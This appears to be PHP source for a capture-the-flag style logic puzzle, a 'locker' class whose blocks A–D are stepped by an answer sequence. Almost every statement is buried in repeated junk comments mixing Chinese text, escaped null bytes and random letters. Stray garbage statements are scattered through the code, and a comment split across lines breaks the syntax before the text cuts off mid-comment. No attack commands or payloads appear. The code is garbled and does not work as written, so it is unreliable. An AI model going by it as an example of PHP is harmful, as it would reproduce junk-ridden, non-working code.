希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*//*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*//*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$MAX_ENUM = 2;private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$MIN_ENUM = 0;
  122. public function/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/__construct() {$this -> blockA = 2;$this-> blockB =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/
  123. 0;$this -> blockC = 0;/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$this -> blockD = 2;}
  124. private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/function setBackBlock($block)/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/{$setType = $this/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> MIN_ENUM;
  125. $maxType = $this -> MAX_ENUM;
  126. switch ($block) {
  127. case 'A':if ($this -> blockA == $maxType) { $this -> blockA = $setType;return true; }
  128. else return/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/false;
  129. case 'B':
  130. if ($this -> blockB== $maxType) { $this -> blockB = $setType;return true; }else return false;
  131. case 'C':
  132. if ($this/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> blockC == $maxType){ $this -> blockC = $setType;return true; }else/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/return false;
  133. case 'D':
  134. if ($this -> blockD== $maxType) { $this -> blockD = $setType;return true; }
  135. else return false;
  136. default: throw new Exception("bad_args", 1);
  137. }
  138. }
  139. private function hit($blockIdx) {
  140. global/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgj
  141. global $cnbd;
  142. rejfgireghjebvf;fvevbbn();ff;
  143. grtisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$text;
  144. $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
  145. switch ($blockIdx) {
  146. case "A":
  147. if (!$this -> setBackBlock("A")) $this -> blockA += 1;
  148. if (!$this -> setBackBlock("B")) $this -> blockB += 1;
  149. break;
  150. case "B":
  151. if (!$this -> setBackBlock("A")) $this -> blockA += 1;
  152. if (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this ->/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/blockC += 1;
  153. break;
  154. case "C":if/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/
  155. (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this -> blockC += 1;
  156. if (!$this ->/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/setBackBlock("D"))$this -> blockD += 1;
  157. break;
  158. case "D":
  159. if (!$this -> setBackBlock("C")) $this -> blockC += 1;
  160. if (!$this -> setBackBlock("D")) $this -> blockD += 1;
  161. break;
  162. default: throw new Exception("bad_args", 1);
  163. }
  164. }
  165. public function __AFG50CE4_RG1() {
  166. global $puzz_writeup;
  167. if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/
  168. // bcdufvcf%00
  169. $i++) {
  170. if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i]/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!
  171. \00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/,"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
  172. }
  173. for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);
  174. global/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$userans;
  175. $userans =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$this ->blockA + $this/*->ddd;
  176. echo();die();\n\0
  177. \00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> blockB + $this -> blockC/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/+ $this -> blockD;
  178. }
  179. public function/*\00\00\00%00%00fvjiv
  180. fmfveb vebvgebb;
  181. gjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/getLockerStatus() {
  182. global $text;$text =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\
